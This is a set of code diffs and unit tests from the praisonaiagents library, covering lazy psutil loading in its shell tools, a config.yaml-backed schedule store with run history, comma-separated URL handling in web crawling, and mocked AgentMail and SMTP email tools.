"smtp_email": ToolProfile(
|
||||
name="smtp_email",
|
||||
tools=["smtp_send_email", "smtp_read_inbox"],
|
||||
description="Email send/read via SMTP/IMAP with mailbox credentials (requires EMAIL_ADDRESS, EMAIL_PASSWORD)",
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -25,12 +25,28 @@ logger = logging.getLogger(__name__)
|
||||
_store_instance = None
|
||||
|
||||
|
||||
def set_store(store):
|
||||
"""Inject an external schedule store (e.g., config.yaml-backed).
|
||||
|
||||
When PraisonAIUI is running, it calls this at startup to redirect
|
||||
all agent schedule_add/list/remove operations to the unified
|
||||
``config.yaml`` instead of the default ``jobs.json``.
|
||||
"""
|
||||
global _store_instance
|
||||
_store_instance = store
|
||||
|
||||
|
||||
def _get_store():
|
||||
"""Return (or create) the global ``FileScheduleStore``."""
|
||||
"""Return (or create) the global schedule store.
|
||||
|
||||
Uses ``ConfigYamlScheduleStore`` (config.yaml) by default.
|
||||
Automatically migrates any existing ``jobs.json`` data on first use.
|
||||
"""
|
||||
global _store_instance
|
||||
if _store_instance is None:
|
||||
from ..scheduler.store import FileScheduleStore
|
||||
_store_instance = FileScheduleStore()
|
||||
from ..scheduler.config_store import ConfigYamlScheduleStore
|
||||
_store_instance = ConfigYamlScheduleStore()
|
||||
_store_instance.migrate_from_json()
|
||||
return _store_instance
|
||||
|
||||
|
||||
|
||||
@@ -13,7 +13,8 @@ import logging
|
||||
import os
|
||||
import time
|
||||
import platform
|
||||
import psutil
|
||||
# psutil is imported lazily inside methods that need it
|
||||
# to avoid hard failure when the package is not installed
|
||||
from typing import Dict, List, Optional, Union
|
||||
from ..approval import require_approval
|
||||
|
||||
@@ -25,14 +26,8 @@ class ShellTools:
|
||||
self._check_dependencies()
|
||||
|
||||
def _check_dependencies(self):
|
||||
"""Check if required packages are installed."""
|
||||
try:
|
||||
import psutil
|
||||
except ImportError:
|
||||
raise ImportError(
|
||||
"Required package not available. Please install: psutil\n"
|
||||
"Run: pip install psutil"
|
||||
)
|
||||
"""Check if required packages are installed (lazy — no hard failure)."""
|
||||
pass
|
||||
|
||||
@require_approval(risk_level="critical")
|
||||
def execute_command(
|
||||
@@ -117,11 +112,16 @@ class ShellTools:
|
||||
|
||||
except subprocess.TimeoutExpired:
|
||||
# Kill process on timeout
|
||||
parent = psutil.Process(process.pid)
|
||||
children = parent.children(recursive=True)
|
||||
for child in children:
|
||||
child.kill()
|
||||
parent.kill()
|
||||
try:
|
||||
import psutil
|
||||
parent = psutil.Process(process.pid)
|
||||
children = parent.children(recursive=True)
|
||||
for child in children:
|
||||
child.kill()
|
||||
parent.kill()
|
||||
except ImportError:
|
||||
# Fallback: kill without psutil
|
||||
process.kill()
|
||||
|
||||
return {
|
||||
'stdout': '',
|
||||
@@ -148,6 +148,10 @@ class ShellTools:
|
||||
Returns:
|
||||
List of process information dictionaries
|
||||
"""
|
||||
try:
|
||||
import psutil
|
||||
except ImportError:
|
||||
return [{"error": "psutil is required for list_processes. Install with: pip install psutil"}]
|
||||
try:
|
||||
processes = []
|
||||
for proc in psutil.process_iter(['pid', 'name', 'username', 'memory_percent', 'cpu_percent']):
|
||||
@@ -187,6 +191,13 @@ class ShellTools:
|
||||
Returns:
|
||||
Dictionary with operation results
|
||||
"""
|
||||
try:
|
||||
import psutil
|
||||
except ImportError:
|
||||
return {
|
||||
'success': False,
|
||||
'message': 'psutil is required for kill_process. Install with: pip install psutil'
|
||||
}
|
||||
try:
|
||||
process = psutil.Process(pid)
|
||||
if force:
|
||||
@@ -222,6 +233,10 @@ class ShellTools:
|
||||
Returns:
|
||||
Dictionary with system information
|
||||
"""
|
||||
try:
|
||||
import psutil
|
||||
except ImportError:
|
||||
return {"error": "psutil is required for get_system_info. Install with: pip install psutil"}
|
||||
try:
|
||||
cpu_percent = psutil.cpu_percent(interval=1)
|
||||
memory = psutil.virtual_memory()
|
||||
@@ -256,12 +271,30 @@ class ShellTools:
|
||||
logging.error(error_msg)
|
||||
return {}
|
||||
|
||||
# Create instance for direct function access
|
||||
_shell_tools = ShellTools()
|
||||
execute_command = _shell_tools.execute_command
|
||||
list_processes = _shell_tools.list_processes
|
||||
kill_process = _shell_tools.kill_process
|
||||
get_system_info = _shell_tools.get_system_info
|
||||
# Lazy instance — deferred so module can be imported without psutil
|
||||
_shell_tools = None
|
||||
|
||||
def _get_shell_tools():
|
||||
global _shell_tools
|
||||
if _shell_tools is None:
|
||||
_shell_tools = ShellTools()
|
||||
return _shell_tools
|
||||
|
||||
def execute_command(*args, **kwargs):
|
||||
"""Execute a shell command safely."""
|
||||
return _get_shell_tools().execute_command(*args, **kwargs)
|
||||
|
||||
def list_processes(*args, **kwargs):
|
||||
"""List running processes with their details."""
|
||||
return _get_shell_tools().list_processes(*args, **kwargs)
|
||||
|
||||
def kill_process(*args, **kwargs):
|
||||
"""Kill a process by its PID."""
|
||||
return _get_shell_tools().kill_process(*args, **kwargs)
|
||||
|
||||
def get_system_info(*args, **kwargs):
|
||||
"""Get system information."""
|
||||
return _get_shell_tools().get_system_info(*args, **kwargs)
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Example usage
|
||||
|
||||
+6
-1
@@ -206,7 +206,12 @@ def web_crawl(
|
||||
"""
|
||||
# Normalize to list
|
||||
single_url = isinstance(urls, str)
|
||||
url_list = [urls] if single_url else urls
|
||||
if single_url and ',' in urls:
|
||||
# LLM may pass comma-separated URLs as a single string
|
||||
url_list = [u.strip() for u in urls.split(',') if u.strip()]
|
||||
single_url = len(url_list) == 1
|
||||
else:
|
||||
url_list = [urls] if single_url else urls
|
||||
|
||||
# Get available providers
|
||||
available = _get_available_crawl_providers()
|
||||
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
|
||||
|
||||
[project]
|
||||
name = "praisonaiagents"
|
||||
version = "1.5.63"
|
||||
version = "1.5.80"
|
||||
description = "Praison AI agents for completing complex tasks with Self Reflection Agents"
|
||||
readme = "README.md"
|
||||
requires-python = ">=3.10"
|
||||
@@ -93,6 +93,13 @@ search = [
|
||||
"ddgs>=9.0.0",
|
||||
]
|
||||
|
||||
# Web crawling (Crawl4AI + Playwright browser)
|
||||
# NOTE: After installing this extra, run: playwright install chromium
|
||||
crawl = [
|
||||
"crawl4ai>=0.4.0",
|
||||
"playwright>=1.47.0",
|
||||
]
|
||||
|
||||
# Combined features
|
||||
all = [
|
||||
"praisonaiagents[memory]",
|
||||
@@ -104,7 +111,8 @@ all = [
|
||||
"praisonaiagents[telemetry]",
|
||||
"praisonaiagents[mongodb]",
|
||||
"praisonaiagents[auth]",
|
||||
"praisonaiagents[search]"
|
||||
"praisonaiagents[search]",
|
||||
"praisonaiagents[crawl]"
|
||||
]
|
||||
|
||||
[tool.setuptools.packages.find]
|
||||
|
||||
@@ -0,0 +1,387 @@
|
||||
"""Unit tests for email_tools.py — mocks AgentMail SDK, no real API calls."""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import types
|
||||
import unittest
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
# Ensure the SDK is importable
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), ".."))
|
||||
|
||||
|
||||
class TestEmailTools(unittest.TestCase):
|
||||
"""Tests for send_email, list_emails, read_email, list_inboxes."""
|
||||
|
||||
def setUp(self):
|
||||
"""Reset module-level client cache before each test."""
|
||||
import praisonaiagents.tools.email_tools as et
|
||||
et._client = None
|
||||
os.environ["AGENTMAIL_API_KEY"] = "am_test_key"
|
||||
os.environ["AGENTMAIL_INBOX_ID"] = "[email protected]"
|
||||
|
||||
def tearDown(self):
|
||||
import praisonaiagents.tools.email_tools as et
|
||||
et._client = None
|
||||
os.environ.pop("AGENTMAIL_API_KEY", None)
|
||||
os.environ.pop("AGENTMAIL_INBOX_ID", None)
|
||||
|
||||
def _mock_agentmail_module(self):
|
||||
"""Create a mock agentmail module with AgentMail class."""
|
||||
mock_client = MagicMock()
|
||||
mock_agentmail_cls = MagicMock(return_value=mock_client)
|
||||
|
||||
mock_module = types.ModuleType("agentmail")
|
||||
mock_module.AgentMail = mock_agentmail_cls
|
||||
return mock_module, mock_client
|
||||
|
||||
# ── send_email ──────────────────────────────────────────────
|
||||
|
||||
def test_send_email_success(self):
|
||||
mock_mod, mock_client = self._mock_agentmail_module()
|
||||
|
||||
# Mock the send response
|
||||
mock_result = MagicMock()
|
||||
mock_result.message_id = "msg_123"
|
||||
mock_result.thread_id = "thread_456"
|
||||
mock_client.inboxes.messages.send.return_value = mock_result
|
||||
|
||||
with patch.dict("sys.modules", {"agentmail": mock_mod}):
|
||||
from praisonaiagents.tools.email_tools import send_email
|
||||
import praisonaiagents.tools.email_tools as et
|
||||
et._client = None # Force re-creation
|
||||
|
||||
result = send_email(to="[email protected]", subject="Hello", body="Hi there")
|
||||
|
||||
self.assertIn("sent successfully", result)
|
||||
self.assertIn("msg_123", result)
|
||||
mock_client.inboxes.messages.send.assert_called_once_with(
|
||||
"[email protected]",
|
||||
to="[email protected]",
|
||||
subject="Hello",
|
||||
text="Hi there",
|
||||
)
|
||||
|
||||
def test_send_email_uses_text_not_body(self):
|
||||
"""Critical: SDK uses text= not body= parameter."""
|
||||
mock_mod, mock_client = self._mock_agentmail_module()
|
||||
mock_result = MagicMock()
|
||||
mock_result.message_id = "msg_1"
|
||||
mock_result.thread_id = "t1"
|
||||
mock_client.inboxes.messages.send.return_value = mock_result
|
||||
|
||||
with patch.dict("sys.modules", {"agentmail": mock_mod}):
|
||||
from praisonaiagents.tools.email_tools import send_email
|
||||
import praisonaiagents.tools.email_tools as et
|
||||
et._client = None
|
||||
|
||||
send_email(to="[email protected]", subject="s", body="b")
|
||||
|
||||
call_kwargs = mock_client.inboxes.messages.send.call_args
|
||||
# Must use text= keyword, never body=
|
||||
self.assertIn("text", call_kwargs.kwargs)
|
||||
self.assertNotIn("body", call_kwargs.kwargs)
|
||||
|
||||
def test_send_email_failure_returns_error(self):
|
||||
mock_mod, mock_client = self._mock_agentmail_module()
|
||||
mock_client.inboxes.messages.send.side_effect = Exception("Network error")
|
||||
|
||||
with patch.dict("sys.modules", {"agentmail": mock_mod}):
|
||||
from praisonaiagents.tools.email_tools import send_email
|
||||
import praisonaiagents.tools.email_tools as et
|
||||
et._client = None
|
||||
|
||||
result = send_email(to="[email protected]", subject="s", body="b")
|
||||
|
||||
self.assertIn("Failed to send", result)
|
||||
self.assertIn("Network error", result)
|
||||
|
||||
# ── list_emails ─────────────────────────────────────────────
|
||||
|
||||
def test_list_emails_success(self):
|
||||
mock_mod, mock_client = self._mock_agentmail_module()
|
||||
|
||||
mock_msg = MagicMock()
|
||||
mock_msg.from_ = "[email protected]"
|
||||
mock_msg.subject = "Test Subject"
|
||||
mock_msg.preview = "Preview text"
|
||||
mock_msg.message_id = "msg_100"
|
||||
mock_msg.timestamp = "2026-03-16"
|
||||
|
||||
mock_response = MagicMock()
|
||||
mock_response.messages = [mock_msg]
|
||||
mock_response.count = 1
|
||||
mock_client.inboxes.messages.list.return_value = mock_response
|
||||
|
||||
with patch.dict("sys.modules", {"agentmail": mock_mod}):
|
||||
from praisonaiagents.tools.email_tools import list_emails
|
||||
import praisonaiagents.tools.email_tools as et
|
||||
et._client = None
|
||||
|
||||
result = list_emails(limit=5)
|
||||
|
||||
self.assertIn("[email protected]", result)
|
||||
self.assertIn("Test Subject", result)
|
||||
self.assertIn("msg_100", result)
|
||||
# Must use .messages attribute, not iterate response directly
|
||||
mock_client.inboxes.messages.list.assert_called_once_with(
|
||||
"[email protected]", limit=5
|
||||
)
|
||||
|
||||
def test_list_emails_uses_from_underscore(self):
|
||||
"""Critical: SDK uses msg.from_ not msg.from_address."""
|
||||
mock_mod, mock_client = self._mock_agentmail_module()
|
||||
|
||||
mock_msg = MagicMock(spec=["from_", "subject", "preview", "message_id", "timestamp"])
|
||||
mock_msg.from_ = "[email protected]"
|
||||
mock_msg.subject = "Sub"
|
||||
mock_msg.preview = "Pre"
|
||||
mock_msg.message_id = "id1"
|
||||
mock_msg.timestamp = "now"
|
||||
|
||||
mock_response = MagicMock()
|
||||
mock_response.messages = [mock_msg]
|
||||
mock_response.count = 1
|
||||
mock_client.inboxes.messages.list.return_value = mock_response
|
||||
|
||||
with patch.dict("sys.modules", {"agentmail": mock_mod}):
|
||||
from praisonaiagents.tools.email_tools import list_emails
|
||||
import praisonaiagents.tools.email_tools as et
|
||||
et._client = None
|
||||
|
||||
result = list_emails()
|
||||
|
||||
self.assertIn("[email protected]", result)
|
||||
|
||||
def test_list_emails_empty(self):
|
||||
mock_mod, mock_client = self._mock_agentmail_module()
|
||||
|
||||
mock_response = MagicMock()
|
||||
mock_response.messages = []
|
||||
mock_client.inboxes.messages.list.return_value = mock_response
|
||||
|
||||
with patch.dict("sys.modules", {"agentmail": mock_mod}):
|
||||
from praisonaiagents.tools.email_tools import list_emails
|
||||
import praisonaiagents.tools.email_tools as et
|
||||
et._client = None
|
||||
|
||||
result = list_emails()
|
||||
|
||||
self.assertIn("No emails found", result)
|
||||
|
||||
# ── read_email ──────────────────────────────────────────────
|
||||
|
||||
def test_read_email_success(self):
|
||||
mock_mod, mock_client = self._mock_agentmail_module()
|
||||
|
||||
mock_msg = MagicMock()
|
||||
mock_msg.from_ = "[email protected]"
|
||||
mock_msg.to = ["[email protected]"]
|
||||
mock_msg.subject = "Full Read Test"
|
||||
mock_msg.extracted_text = "Full body content here"
|
||||
mock_msg.timestamp = "2026-03-16T12:00:00"
|
||||
mock_msg.in_reply_to = ""
|
||||
mock_client.inboxes.messages.get.return_value = mock_msg
|
||||
|
||||
with patch.dict("sys.modules", {"agentmail": mock_mod}):
|
||||
from praisonaiagents.tools.email_tools import read_email
|
||||
import praisonaiagents.tools.email_tools as et
|
||||
et._client = None
|
||||
|
||||
result = read_email(message_id="msg_100")
|
||||
|
||||
self.assertIn("[email protected]", result)
|
||||
self.assertIn("Full Read Test", result)
|
||||
self.assertIn("Full body content here", result)
|
||||
|
||||
# ── list_inboxes ────────────────────────────────────────────
|
||||
|
||||
def test_list_inboxes_success(self):
|
||||
mock_mod, mock_client = self._mock_agentmail_module()
|
||||
|
||||
mock_inbox = MagicMock()
|
||||
mock_inbox.inbox_id = "[email protected]"
|
||||
mock_inbox.display_name = "Praison"
|
||||
|
||||
mock_response = MagicMock()
|
||||
mock_response.inboxes = [mock_inbox]
|
||||
mock_client.inboxes.list.return_value = mock_response
|
||||
|
||||
with patch.dict("sys.modules", {"agentmail": mock_mod}):
|
||||
from praisonaiagents.tools.email_tools import list_inboxes
|
||||
import praisonaiagents.tools.email_tools as et
|
||||
et._client = None
|
||||
|
||||
result = list_inboxes()
|
||||
|
||||
self.assertIn("[email protected]", result)
|
||||
self.assertIn("Praison", result)
|
||||
|
||||
# ── Missing env vars ────────────────────────────────────────
|
||||
|
||||
def test_missing_api_key_raises(self):
|
||||
os.environ.pop("AGENTMAIL_API_KEY", None)
|
||||
|
||||
import praisonaiagents.tools.email_tools as et
|
||||
et._client = None
|
||||
|
||||
with self.assertRaises(ValueError) as ctx:
|
||||
et._get_client()
|
||||
self.assertIn("AGENTMAIL_API_KEY", str(ctx.exception))
|
||||
|
||||
def test_missing_inbox_id_raises(self):
|
||||
os.environ.pop("AGENTMAIL_INBOX_ID", None)
|
||||
|
||||
import praisonaiagents.tools.email_tools as et
|
||||
|
||||
with self.assertRaises(ValueError) as ctx:
|
||||
et._get_inbox_id()
|
||||
self.assertIn("AGENTMAIL_INBOX_ID", str(ctx.exception))
|
||||
|
||||
# ── Profile registration ────────────────────────────────────
|
||||
|
||||
def test_email_profile_exists(self):
|
||||
from praisonaiagents.tools.profiles import get_profile
|
||||
profile = get_profile("email")
|
||||
self.assertEqual(profile.name, "email")
|
||||
self.assertIn("send_email", profile.tools)
|
||||
self.assertIn("list_emails", profile.tools)
|
||||
self.assertIn("read_email", profile.tools)
|
||||
|
||||
# ── Lazy import via tools package ───────────────────────────
|
||||
|
||||
def test_lazy_import_from_tools_package(self):
|
||||
from praisonaiagents.tools import send_email
|
||||
from praisonaiagents.tools.email_tools import send_email as direct
|
||||
self.assertIs(send_email, direct)
|
||||
|
||||
# ── reply_email ──────────────────────────────────────────────
|
||||
|
||||
def test_reply_email_success(self):
|
||||
mock_mod, mock_client = self._mock_agentmail_module()
|
||||
|
||||
mock_result = MagicMock()
|
||||
mock_result.message_id = "reply_msg_1"
|
||||
mock_result.thread_id = "thread_1"
|
||||
mock_client.inboxes.messages.reply.return_value = mock_result
|
||||
|
||||
with patch.dict("sys.modules", {"agentmail": mock_mod}):
|
||||
from praisonaiagents.tools.email_tools import reply_email
|
||||
import praisonaiagents.tools.email_tools as et
|
||||
et._client = None
|
||||
|
||||
result = reply_email(message_id="msg_100", body="Thanks!")
|
||||
|
||||
self.assertIn("reply_msg_1", result)
|
||||
self.assertIn("Reply sent", result)
|
||||
mock_client.inboxes.messages.reply.assert_called_once_with(
|
||||
"[email protected]",
|
||||
"msg_100",
|
||||
text="Thanks!",
|
||||
)
|
||||
|
||||
def test_reply_email_uses_text_not_body(self):
|
||||
"""SDK reply uses text= not body= parameter."""
|
||||
mock_mod, mock_client = self._mock_agentmail_module()
|
||||
mock_result = MagicMock()
|
||||
mock_result.message_id = "r1"
|
||||
mock_result.thread_id = "t1"
|
||||
mock_client.inboxes.messages.reply.return_value = mock_result
|
||||
|
||||
with patch.dict("sys.modules", {"agentmail": mock_mod}):
|
||||
from praisonaiagents.tools.email_tools import reply_email
|
||||
import praisonaiagents.tools.email_tools as et
|
||||
et._client = None
|
||||
|
||||
reply_email(message_id="m1", body="b")
|
||||
|
||||
call_kwargs = mock_client.inboxes.messages.reply.call_args
|
||||
self.assertIn("text", call_kwargs.kwargs)
|
||||
self.assertNotIn("body", call_kwargs.kwargs)
|
||||
|
||||
# ── create_inbox ─────────────────────────────────────────────
|
||||
|
||||
def test_create_inbox_success(self):
|
||||
mock_mod, mock_client = self._mock_agentmail_module()
|
||||
|
||||
mock_inbox = MagicMock()
|
||||
mock_inbox.inbox_id = "[email protected]"
|
||||
mock_inbox.display_name = "My Agent"
|
||||
mock_client.inboxes.create.return_value = mock_inbox
|
||||
|
||||
with patch.dict("sys.modules", {"agentmail": mock_mod}):
|
||||
from praisonaiagents.tools.email_tools import create_inbox
|
||||
import praisonaiagents.tools.email_tools as et
|
||||
et._client = None
|
||||
|
||||
result = create_inbox(display_name="My Agent")
|
||||
|
||||
self.assertIn("[email protected]", result)
|
||||
self.assertIn("created", result.lower())
|
||||
|
||||
# ── Angle-bracket normalization ──────────────────────────────
|
||||
|
||||
def test_read_email_angle_bracket_normalization(self):
|
||||
"""LLMs strip angle brackets from message IDs. read_email should add them."""
|
||||
mock_mod, mock_client = self._mock_agentmail_module()
|
||||
|
||||
mock_msg = MagicMock()
|
||||
mock_msg.from_ = "[email protected]"
|
||||
mock_msg.to = ["[email protected]"]
|
||||
mock_msg.subject = "Test"
|
||||
mock_msg.extracted_text = "Body"
|
||||
mock_msg.timestamp = "now"
|
||||
mock_msg.in_reply_to = ""
|
||||
mock_client.inboxes.messages.get.return_value = mock_msg
|
||||
|
||||
with patch.dict("sys.modules", {"agentmail": mock_mod}):
|
||||
from praisonaiagents.tools.email_tools import read_email
|
||||
import praisonaiagents.tools.email_tools as et
|
||||
et._client = None
|
||||
|
||||
# Pass WITHOUT angle brackets — should be normalized
|
||||
read_email(message_id="[email protected]")
|
||||
|
||||
# The API call should have angle brackets
|
||||
call_args = mock_client.inboxes.messages.get.call_args
|
||||
actual_id = call_args[0][1] # second positional arg
|
||||
self.assertTrue(actual_id.startswith("<"), f"Expected <...> but got: {actual_id}")
|
||||
self.assertTrue(actual_id.endswith(">"), f"Expected <...> but got: {actual_id}")
|
||||
|
||||
# ── SMTP tools error handling ────────────────────────────────
|
||||
|
||||
def test_smtp_send_email_missing_creds(self):
|
||||
os.environ.pop("EMAIL_ADDRESS", None)
|
||||
os.environ.pop("EMAIL_PASSWORD", None)
|
||||
from praisonaiagents.tools.email_tools import smtp_send_email
|
||||
result = smtp_send_email(to="[email protected]", subject="s", body="b")
|
||||
self.assertIn("EMAIL_ADDRESS", result)
|
||||
self.assertIn("EMAIL_PASSWORD", result)
|
||||
|
||||
def test_smtp_read_inbox_missing_creds(self):
|
||||
os.environ.pop("EMAIL_ADDRESS", None)
|
||||
os.environ.pop("EMAIL_PASSWORD", None)
|
||||
from praisonaiagents.tools.email_tools import smtp_read_inbox
|
||||
result = smtp_read_inbox()
|
||||
self.assertIn("EMAIL_ADDRESS", result)
|
||||
self.assertIn("EMAIL_PASSWORD", result)
|
||||
|
||||
# ── SMTP profile registration ────────────────────────────────
|
||||
|
||||
def test_smtp_email_profile_exists(self):
|
||||
from praisonaiagents.tools.profiles import get_profile
|
||||
profile = get_profile("smtp_email")
|
||||
self.assertEqual(profile.name, "smtp_email")
|
||||
self.assertIn("smtp_send_email", profile.tools)
|
||||
self.assertIn("smtp_read_inbox", profile.tools)
|
||||
|
||||
# ── SMTP lazy import ─────────────────────────────────────────
|
||||
|
||||
def test_smtp_lazy_import_from_tools_package(self):
|
||||
from praisonaiagents.tools import smtp_send_email
|
||||
from praisonaiagents.tools.email_tools import smtp_send_email as direct
|
||||
self.assertIs(smtp_send_email, direct)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,348 @@
|
||||
"""
|
||||
Unit tests for scheduler execution history functionality.
|
||||
|
||||
Tests:
|
||||
- RunRecord model serialization
|
||||
- FileScheduleStore.log_run() and get_history()
|
||||
- ConfigYamlScheduleStore.log_run() and get_history()
|
||||
- ScheduleRunner.mark_run() with history params
|
||||
- History limit enforcement
|
||||
- History persistence
|
||||
"""
|
||||
|
||||
import os
|
||||
import tempfile
|
||||
import time
|
||||
|
||||
|
||||
class TestRunRecordModel:
|
||||
"""Tests for RunRecord dataclass."""
|
||||
|
||||
def test_run_record_creation(self):
|
||||
"""Test basic RunRecord creation."""
|
||||
from praisonaiagents.scheduler.models import RunRecord
|
||||
|
||||
record = RunRecord(
|
||||
job_id="test123",
|
||||
job_name="Test Job",
|
||||
status="succeeded",
|
||||
result="Hello world",
|
||||
duration=1.5,
|
||||
delivered=True,
|
||||
)
|
||||
assert record.job_id == "test123"
|
||||
assert record.job_name == "Test Job"
|
||||
assert record.status == "succeeded"
|
||||
assert record.result == "Hello world"
|
||||
assert record.duration == 1.5
|
||||
assert record.delivered is True
|
||||
assert record.error is None
|
||||
assert record.timestamp > 0
|
||||
|
||||
def test_run_record_to_dict(self):
|
||||
"""Test RunRecord serialization to dict."""
|
||||
from praisonaiagents.scheduler.models import RunRecord
|
||||
|
||||
record = RunRecord(
|
||||
job_id="abc",
|
||||
job_name="My Job",
|
||||
status="failed",
|
||||
error="Something went wrong",
|
||||
duration=0.5,
|
||||
timestamp=1234567890.0,
|
||||
)
|
||||
d = record.to_dict()
|
||||
assert d["job_id"] == "abc"
|
||||
assert d["job_name"] == "My Job"
|
||||
assert d["status"] == "failed"
|
||||
assert d["error"] == "Something went wrong"
|
||||
assert d["duration"] == 0.5
|
||||
assert d["timestamp"] == 1234567890.0
|
||||
assert d["delivered"] is False
|
||||
assert d["result"] is None
|
||||
|
||||
def test_run_record_from_dict(self):
|
||||
"""Test RunRecord deserialization from dict."""
|
||||
from praisonaiagents.scheduler.models import RunRecord
|
||||
|
||||
d = {
|
||||
"job_id": "xyz",
|
||||
"job_name": "Restored Job",
|
||||
"status": "skipped",
|
||||
"result": "Skipped result",
|
||||
"error": None,
|
||||
"duration": 2.0,
|
||||
"delivered": False,
|
||||
"timestamp": 9999999999.0,
|
||||
}
|
||||
record = RunRecord.from_dict(d)
|
||||
assert record.job_id == "xyz"
|
||||
assert record.job_name == "Restored Job"
|
||||
assert record.status == "skipped"
|
||||
assert record.result == "Skipped result"
|
||||
assert record.duration == 2.0
|
||||
assert record.timestamp == 9999999999.0
|
||||
|
||||
|
||||
class TestFileScheduleStoreHistory:
|
||||
"""Tests for FileScheduleStore history functionality."""
|
||||
|
||||
def test_log_run_creates_history(self):
|
||||
"""Test that log_run adds a history record."""
|
||||
from praisonaiagents.scheduler.store import FileScheduleStore
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
store = FileScheduleStore(store_dir=tmpdir)
|
||||
assert len(store.get_history()) == 0
|
||||
|
||||
store.log_run(
|
||||
job_id="job1",
|
||||
status="succeeded",
|
||||
result="Test result",
|
||||
duration=1.0,
|
||||
delivered=True,
|
||||
job_name="Test Job",
|
||||
)
|
||||
|
||||
history = store.get_history()
|
||||
assert len(history) == 1
|
||||
assert history[0].job_id == "job1"
|
||||
assert history[0].status == "succeeded"
|
||||
assert history[0].result == "Test result"
|
||||
assert history[0].delivered is True
|
||||
|
||||
def test_get_history_newest_first(self):
|
||||
"""Test that history is returned newest first."""
|
||||
from praisonaiagents.scheduler.store import FileScheduleStore
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
store = FileScheduleStore(store_dir=tmpdir)
|
||||
|
||||
store.log_run(job_id="job1", status="succeeded", job_name="First")
|
||||
time.sleep(0.01)
|
||||
store.log_run(job_id="job2", status="succeeded", job_name="Second")
|
||||
time.sleep(0.01)
|
||||
store.log_run(job_id="job3", status="succeeded", job_name="Third")
|
||||
|
||||
history = store.get_history()
|
||||
assert len(history) == 3
|
||||
assert history[0].job_name == "Third"
|
||||
assert history[1].job_name == "Second"
|
||||
assert history[2].job_name == "First"
|
||||
|
||||
def test_get_history_filter_by_job_id(self):
|
||||
"""Test filtering history by job_id."""
|
||||
from praisonaiagents.scheduler.store import FileScheduleStore
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
store = FileScheduleStore(store_dir=tmpdir)
|
||||
|
||||
store.log_run(job_id="job1", status="succeeded", job_name="Job 1 Run 1")
|
||||
store.log_run(job_id="job2", status="succeeded", job_name="Job 2 Run 1")
|
||||
store.log_run(job_id="job1", status="failed", job_name="Job 1 Run 2")
|
||||
|
||||
all_history = store.get_history()
|
||||
assert len(all_history) == 3
|
||||
|
||||
job1_history = store.get_history(job_id="job1")
|
||||
assert len(job1_history) == 2
|
||||
assert all(r.job_id == "job1" for r in job1_history)
|
||||
|
||||
def test_get_history_limit(self):
|
||||
"""Test history limit parameter."""
|
||||
from praisonaiagents.scheduler.store import FileScheduleStore
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
store = FileScheduleStore(store_dir=tmpdir)
|
||||
|
||||
for i in range(10):
|
||||
store.log_run(job_id=f"job{i}", status="succeeded", job_name=f"Job {i}")
|
||||
|
||||
limited = store.get_history(limit=5)
|
||||
assert len(limited) == 5
|
||||
|
||||
def test_history_max_limit_enforcement(self):
|
||||
"""Test that history is pruned to max_history."""
|
||||
from praisonaiagents.scheduler.store import FileScheduleStore
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
store = FileScheduleStore(store_dir=tmpdir, max_history=5)
|
||||
|
||||
for i in range(10):
|
||||
store.log_run(job_id=f"job{i}", status="succeeded", job_name=f"Job {i}")
|
||||
|
||||
history = store.get_history()
|
||||
assert len(history) == 5
|
||||
# Should have the 5 most recent (jobs 5-9)
|
||||
assert history[0].job_name == "Job 9"
|
||||
assert history[4].job_name == "Job 5"
|
||||
|
||||
def test_history_persistence(self):
|
||||
"""Test that history is persisted to disk."""
|
||||
from praisonaiagents.scheduler.store import FileScheduleStore
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
# Create store and add history
|
||||
store1 = FileScheduleStore(store_dir=tmpdir)
|
||||
store1.log_run(job_id="job1", status="succeeded", result="Result 1", job_name="Job 1")
|
||||
store1.log_run(job_id="job2", status="failed", error="Error 2", job_name="Job 2")
|
||||
|
||||
# Verify file exists
|
||||
history_path = os.path.join(tmpdir, "history.json")
|
||||
assert os.path.exists(history_path)
|
||||
|
||||
# Create new store and verify history is loaded
|
||||
store2 = FileScheduleStore(store_dir=tmpdir)
|
||||
history = store2.get_history()
|
||||
assert len(history) == 2
|
||||
assert history[0].job_name == "Job 2"
|
||||
assert history[1].job_name == "Job 1"
|
||||
|
||||
def test_result_truncation(self):
|
||||
"""Test that long results are truncated."""
|
||||
from praisonaiagents.scheduler.store import FileScheduleStore
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
store = FileScheduleStore(store_dir=tmpdir)
|
||||
|
||||
long_result = "x" * 5000
|
||||
store.log_run(job_id="job1", status="succeeded", result=long_result, job_name="Job 1")
|
||||
|
||||
history = store.get_history()
|
||||
assert len(history[0].result) == 2000
|
||||
|
||||
|
||||
class TestConfigYamlScheduleStoreHistory:
|
||||
"""Tests for ConfigYamlScheduleStore history functionality."""
|
||||
|
||||
def test_log_run_creates_history(self):
|
||||
"""Test that log_run adds a history record."""
|
||||
from praisonaiagents.scheduler.config_store import ConfigYamlScheduleStore
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
config_path = os.path.join(tmpdir, "config.yaml")
|
||||
store = ConfigYamlScheduleStore(config_path=config_path)
|
||||
assert len(store.get_history()) == 0
|
||||
|
||||
store.log_run(
|
||||
job_id="job1",
|
||||
status="succeeded",
|
||||
result="Test result",
|
||||
duration=1.0,
|
||||
delivered=True,
|
||||
job_name="Test Job",
|
||||
)
|
||||
|
||||
history = store.get_history()
|
||||
assert len(history) == 1
|
||||
assert history[0].job_id == "job1"
|
||||
assert history[0].status == "succeeded"
|
||||
|
||||
def test_history_persistence_yaml(self):
|
||||
"""Test that history is persisted to YAML file."""
|
||||
from praisonaiagents.scheduler.config_store import ConfigYamlScheduleStore
|
||||
|
||||
